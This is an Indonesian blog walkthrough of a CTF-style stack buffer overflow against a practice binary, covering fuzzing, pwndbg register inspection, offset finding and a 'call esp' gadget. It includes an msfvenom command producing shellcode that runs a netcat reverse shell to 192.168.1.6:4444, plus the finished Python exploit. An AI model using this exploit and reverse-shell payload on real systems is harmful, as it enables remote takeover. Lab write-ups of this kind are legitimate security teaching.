Buffer Overflow Exploit Linux Application

 

Buffer overflow adalah metode yang digunakan untuk membuat suatu application crash atau memberikan inputan melebihi dari batas penyimpanan stack memory yang digunakan dalam memperoses suatu aplikasi. Kali ini saya akan membuat writeup pengerjaan soal linux application dari komunitas xcode. Jika kalian berminat join dapat klik link discord ini.

Pertama saya sudah mendownload applicationya, lalu saya akan memberikan permission execute agar applikasinya dapat saya jalankan seperti dibawah.

$ chmod +x vulnerableapp2

Setelah itu saya akan mencoba menjalankan seperti umumnya, menjalankan applikasi binary di linux.

Ternyata mengalami error dengan segmentation salah, selanjutnya saya akan mencoba memberi inputan dasar sebesar 4 byte yaitu "AAAA", seperti dibawah ini:

$ ./vulnerableapp2 AAAA

Hasil dari ini aplikasi dapat berjalan normal dan tidak mendapatkan alert error seperti diawal. Ok, sekarang kita akan memberi inputan yang melebihi batas penyimpanan memory yang digunakan applikasi tersebut.

Bisa dilihat bahwa inputan kita berhasil membuat aplikasi over atau crash, disini saya menggunakan inputan script python dengan memberikan 800 byte karakter huruf A, berikut source commandnya:

$ ./vulnerableapp2 `python -c 'print "A" * 800'` 

Saya sudah mendapatkan info bahwa 800 byte input dapat menyebabkan crash aplikasinya, sekarang mari kita test dengan menggunakan debugging, disini saya menggunakan pwndbg jika kalian belum punya atau kesulitan installasinya dapat cek postingan saya sebelumnya.

Tutorial fix bug install pwndbg di kali linux 2020

Kita sudah masuk didalam debuggernya dan kita akan fokus disini melihat perubahan pada register Extended Stack Pointer(ESP), Extended Base Pointer(EBP),Extended Instruction pointer(EIP).

Perlu diketahui setiap fungsi register yang kita gunakan ini mengacu pada berjalanya exploit kita nanti, seperti:

  • Extended Stack Pointer(ESP) kita akan melihat pointer atau penunjuk data stack yang tersimpan didalam memory yang digunakan untuk memperoses aplikasi.
  • Extended Base Pointer(EBP) ini kita akan melihat alamat memory yang menunjukan lokasi keberadaan parameter suatu fungsi dan juga variable pada suatu program yang berjalan.
  • Extended Instruction pointer(EIP) digunakan sebagai pointer yang akan menunjukan pada cpu lokasi memory yang menyimpan perintah selanjutnya yang akan di eksekusi oleh CPU.

Sekarang kita akan coba untuk melakukan test ulang dengan menjalankan script python pada debugger yang mana akan memberi input sebesar 800 byte.

Dapat kita lihat EIP sudah tertimpa dengan 4 byte karakter "AAAA", perlu diketahui EIP ini menyimpan lokasi perintah selanjutnya yang akan dijalankan oleh cpu, dikarenakan lokasi memory eip tertimpa oleh stack over kita aplikasi akan mengalami crash karena lokasi memory 0x41414141 itu tidak ada. Sedangkan ESP sendiri menunjukan data stack yang kita input sebesar 800 byte dan EBP kita dapat melihat memiliki hex sama dengan EIP, dikarenakan EBP ini memiliki fungsi menyimpan resgister memory ke stack frame yang mana EBP digunakan untuk mejalankan proses pertama kali sebelum di copy ke proses ESP.

Kita akan lanjutkan dengan mencari nilai offset keberapa terjadiinya overflow pada aplikasi ini atau mencari nilai input spesifik yang menyebabkan crash aplikasi taret, disini kita dapat menggunakan fungsi perintah berikut di dalam debgguber.
pwndbg> run `msf-pattern_create -l 800`
Starting program: /home/dig/CTF/soal2Excode/vulnerableapp2 `msf-pattern_create -l 800`
dari hasil berikut akan menghasilkan karakter yang yang berurutan yang berjumalah 800 byte.
Kita akan melanjutkan untuk mencari offset atau nilai tengah yang menimpa EIP-nya, disini saya menggunakan perintah:
pwndbg> info registers eip
eip 0x35784134 0x35784134
pwndbg> exit
Undefined command: "exit". Try "help".
pwndbg>
zsh: suspended pwngdb ./vulnerableapp2


┌──(root💀dig)-[/home/dig/CTF/soal2Excode]
└─# msf-pattern_offset -q 0x35784134 148 ⨯ 1 ⚙
[*] Exact match at offset 704

Kita dapat melihat bahwa kita memerlukan 704 byte untuk melakukan fuzzing agar aplikasi crash. Sekarang kita akan buat exploitnya dengan script dibawah:
#!/usr/bin/python

import struct

fuzz = "A" * 704
eip = struct.pack("<I", ini diisi dengan registry call esp pada aplikasi)
nop = "\x90" * 8
Pertama kita buat script sederhana tersebut terdiri:
  • import struct dan pada variable eip terisi struct.pack yang mana fungsi ini digunakan untuk membaca format teks kita agar sesuai dengan format arsitektur pada alamat memory menggunakan little endian.
  • lalu pada nop ini adalah variable no opration, yang mana akan kita setting dengan 8 byte "\x90" akan terisi.
Untuk mengisi call esp pada struct.pack kita akan mencarinya pada debugger dengan perintah:
pwndbg> ropgadget --grep "call esp"
Saved corefile /tmp/tmp7twt6z73
0xffffc4eb : call esp

Sekarang kita tambahkan kedalam script sebelumnya:
#!/usr/bin/python

import struct

fuzz = "A" * 704
eip = struct.pack("<I",
0xffffc4eb)
nop = "\x90" * 8
Lalu kita lanjutkan membuat payload dengan menggunakan msfvenom:
$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD="nc 192.168.1.6 4444 -e /bin/sh" LHOST=192.168.1.6 LPORT=4444 -b "\x20\x0a\x0d\x00\x3f" -f python -v shellcode 
Pastikan source code akan seperti ini:
#!/usr/bin/python

import struct

fuzz = "A" * 704
eip = struct.pack("<I",
0xffffc4eb)
nop = "\x90" * 8
shellcode = b""
shellcode += b"\xb8\xa7\x29\xb5\x66\xdb\xcb\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x11\x31\x42\x14\x83\xc2\x04"
shellcode += b"\x03\x42\x10\x45\xdc\xdf\x6d\xd1\x86\x72\x14"
shellcode += b"\x89\x95\x11\x51\xae\x8e\xfa\x12\x58\x4f\x6d"
shellcode += b"\xfa\xfa\x26\x03\x8d\x19\xea\x33\x92\xdd\x0b"
shellcode += b"\xc4\xc3\xbe\x2b\xf5\x22\x72\x02\xc4\x62\x4a"
shellcode += b"\x74\x17\xa5\x9c\xa8\x63\x8d\xd4\x9c\xab\xc0"
shellcode += b"\x71\xfd\x84\x78\x10\x93\xf5\x0f\x8a\x6b\x5d"
shellcode += b"\xa3\xc3\x8d\xac\xc3"

print fuzz + eip + nop + shellcode
Untuk tambahan pada command msfvenom tersebut yang saya tandai merah adalah bad karakter yang harus di hindari dalam membuat payload, karena beberapa karakter tidak dapat dijalankan oleh CPU. Bagaimana untuk mencari bad karakter ini, kita hanya cukup menjalankan script kita pada aplikasi dan melakukan debug, dengan perintah:
pwndbg> ropgadget --grep "call esp"
Saved corefile
/tmp/tmp7twt6z73
0xffffc4eb : call esp
pwndbg> break *
0xffffc4eb
Breakpoint 1 at
0xffffc4eb
pwndbg> run `python exploit.py`

Setelah ini kita lanjutkan dengan perintah:

pwndbg> x/100x $esp
pwndbg> x/100bx $esp

Maka akan tampil seperti ini, lalu kita akan cocokan shellcode dengan hex shellcode yang ada di stack memory.

pastikan shellcode berada dibawah nop atau setelah nop, untuk memastikan payload berjalan setelah EIP memberikan alamat memory yang akan di eksekusi selanjutnya oleh CPU. Jika sudah kita lanjutkan menjalankan exploitnya, jika berhasil maka akan tampak seperti dibawah ini:
Untuk video lengkapnya kalian dapat menonton videonya dibawah ini:

Belum ada Komentar untuk "Buffer Overflow Exploit Linux Application"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel